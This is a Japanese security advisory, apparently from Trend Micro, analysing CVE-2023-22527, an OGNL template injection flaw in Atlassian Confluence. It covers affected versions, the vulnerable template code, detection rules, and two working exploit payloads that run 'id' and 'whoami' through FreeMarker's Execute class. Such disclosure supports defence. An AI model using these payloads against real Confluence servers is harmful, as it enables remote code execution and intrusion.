エクスプロイト&脆弱性
Atlassian Confluenceの新たな脆弱性「CVE-2023-22527」:リモートコード実行のリスクとその対策を解説
Atlassian Confluenceの新たな脆弱性「CVE-2023-22527」について解説します。本脆弱性のCVSSスコアは10(重大)であり、攻撃者によるリモートコード実行を誘発します。
OGNL(Object-Graph Navigation Language)は、多くのWebアプリケーションに利用されるオープンソース・コンポーネントです。このOGNLが不正利用された事例として、フレームワーク「Apache Struts」に多大な影響を及ぼした「Equifax攻撃」がよく知られています。さらに、最近になって情報共有ツール「Atlassian Confluence」から発見された脆弱性「CVE-2023-22527」も、OGNLの不正利用に繋がることが懸念されています。本脆弱性のCVSSスコアは10(重大)であり、攻撃者によるリモートコード実行(RCE:Remote Code Execution)を誘発します。
本脆弱性に付与されたCVSSスコアの具体的な内訳は、以下となります。
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
本脆弱性に目を付けた攻撃者は、古いバージョンの「Confluence Data Center and Server」に対して「テンプレート・インジェクション」の手口を行使し、影響を受けたインスタンス上でRCE攻撃に及ぶ可能性があります。すでに本脆弱性を突いた活動を行うIPアドレスが600以上特定され、試行回数も数千件にも及ぶことが、非営利セキュリティ組織「Shadowserver」によるTwitter上の報告で述べられています。
「Confluence Data Center and Server」のサポート対象バージョン「8.5.4」では、定期アップデートの結果、本脆弱性が的確に対処されました。また、新しくリリースされたバージョン「8.5.5」では、本脆弱性に対する完全な緩和策が提供されました。ユーザの方は、セキュリティを最大限に高めるため、最新バージョンにアップデートすることを強く推奨します。
影響を受けるバージョン
ベンダーより、脆弱性「CVE-2023-22527」の影響を受ける「Confluence Data Center and Server」のバージョンとして下記が報告されています。
本脆弱性に対処するためには、影響を受ける製品のそれぞれを下記バージョンにアップデートする必要があります。現状、アップデート以外の回避策は知られていません。
- Confluence Data Center and Server - 8.5.4(LTS)
- Confluence Data Center - 8.6.0またはそれ以降(Data Centerのみ)、8.7.1またはそれ以降(Data Centerのみ)
技術的な内容
OGNLは、サーバサイドのテンプレートを作成するための式言語(EL式)に相当します。多くのWebアプリケーションが、本テンプレートを利用し、Webページやメール内に動的なコンテンツを埋め込みます。テンプレートの生成用エンジンとして、FreeMarker、Velocity、Thymeleafなどが知られています。
テンプレートインジェクションは、ユーザ入力に対するサニタイジング(不正をチェックする仕組み)の不備が起因となって発生します。今回の場合、Confluenceの一部テンプレートファイルにおいて、入力パラメータを危険な状態のまま処理してしまうリスクが見出されました。例えば図1に示す以下のConfluence用ファイルでは、
confluence/template/xhtml/pagelist.vm
以下によって、不正なパラメータを受け入れてしまう可能性があります。
#set ($pageList = $stack.findValue(“$parameters.pages”))
今回の脆弱性「CVE-2023-22527」は、図2に示すエンドポイント側の以下のファイルから発見されました。
/confluence/template/aui/text-inline.vm
図1に挙げた以下を含むファイルについては、すでにConfluenceの最新バージョンから削除されています。
#set ($pageList = $stack.findValue("$parameters.pages"))
Confluenceにおいて、「.vm」のファイルはテンプレートとして機能し、テンプレート言語「Velocity Template Language」によって記述されます。これら.vmファイルは、以下のクラスによって管理されます。
ConfluenceVelocityServlet
本クラスはサーブレットとして稼働し、ブラウザから送られたリクエストの受信や対応を担います。
トレンドマイクロの解析、および他の調査チームからの報告に基づくと、図2の関数「$stack.findValue」が、脆弱性の根元と考えられます。リクエストに含まれるパラメータ「label」の内容は、そのまま「$stack.findValue」側に受け継がれます。この時点で、テンプレートインジェクションの脆弱性が存在するものと判断できます。パラメータ内に不正なOGNLを埋め込み(インジェクト)、関数「getText」を突破させることで、不正なリモートコード実行に至ります。
ケース分析
ケース1
下記ペイロードに示されるマップ「#reuqest」の中に、以下のキーが発見されました。
.KEY_velocity.struts2.context
これを用いる形で、以下の式を経由して
#request['.KEY_velocity.struts2.context'].internalGet('ognl')
以下のクラスにアクセスし、
org.apache.struts2.views.jsp.ui.OgnlTool
そこから以下のメソッドを呼び出すことが可能です。
Ognl.findValue(String, Object)
攻撃用のペイロード
#request.get(.KEY_velocity.struts2.context).internalGet(ognl).findValue(#parameters.poc[0],{})&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new freemarker.template.utility.Execute()).exec({"id"}))
ケース2:
下記ペイロード中、以下のオブジェクトは、
#request[‘.freemarker.TemplateModel’]
以下のクラスのインスタンスとなっていました。
org.apache.struts2.views.freemarker.ScopesHashModel
これを経由して以下のクラスにアクセスすると、メソッド「Ognl.getValue()」が呼び出されます。
org.apache.struts2.views.jsp.ui.OgnlTool
続いて、FreeMarkerを起点としてクラス「Execute」のメソッド「exec()」を呼び出すことで、外部コマンドが実行されます。
攻撃用のペイロード
#request[‘.freemarker.TemplateModel’].get(‘ognl’).getWrappedObject().findValue(‘(new freemarker.template.utility.Execute()).exec({“whoami”})’, {})
攻撃時のリクエスト
図3に示す攻撃用リクエストでは、関数「exec()」にコマンド「id」が埋め込まれています。なお、上記の「ケース2」では、idの代わりにコマンド「whoami」が使用されました。本リクエストの送信に成功した場合、Confluenceのサーバから、ユーザID(uid)、グループID(gid)、グループ詳細情報(groups)などの応答が返されます。
まとめ
今回の脆弱性「CVE-2023-22527」は、世界各地の企業や組織に大きなリスクをもたらすものであり、さまざまな攻撃グループが、より広範な目的のために、これを不正利用していくと考えられます。Atlassian Confluenceを利用中の方は、速やかにサーバに修正パッチを適用し、本攻撃によるリスクの緩和策を実施することを推奨します。今回のような攻撃から企業や組織のシステムを保護する上では、「Trend Vision One™」などのセキュリティソリューションが有効に機能します。
Trend Vision One™ - Endpoint Securityは、下記のディープパケットインスペクション・ルールにより、今回の脆弱性を突いた攻撃からシステムを保護します。
- 1011954 - Atlassian Confluence Data Center and Server Template Injection Vulnerability (CVE-2023-22527):「Atlassian Confluence Data Center and Server」のテンプレートインジェクションに繋がる脆弱性
TippingPointでは、本脆弱性に対応したCSW(Customer Shield Writer)ファイルを開示しました。ご利用のお客様は、当該ファイルをTMCからダウンロードいただけます。対応するルールは下記の通りです。
- 43721 - HTTP: Atlassian Confluence Data Center and Server Template Injection Vulnerability:「Atlassian Confluence Data Center and Server」のテンプレートインジェクションに繋がる脆弱性
Trend Micro Cloud One - Workload Securityは、下記のルールにより、仮想、物理、クラウド、コンテナを含むさまざまな環境を、今回の攻撃から保護します。
- 1011954 - Atlassian Confluence Data Center and Server Template Injection Vulnerability (CVE-2023-22527):「Atlassian Confluence Data Center and Server」のテンプレートインジェクションに繋がる脆弱性
Trend Micro Deep Discovery Inspectorをご利用のお客様は、下記のルールにより、今回の攻撃から保護されています。
- DDI RULE 4990 - CVE-2023-22527 - Atlassian OGNL Injection Exploit - HTTP (Request):Atlassianに対するOGNLインジェクション攻撃 - HTTP(リクエスト)
参考記事:
Unveiling Atlassian Confluence Vulnerability CVE-2023-22527: Understanding and Mitigating Remote Code Execution Risks
By: Jagir Shastri, Bhumi Patel, Neharika Razdan
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)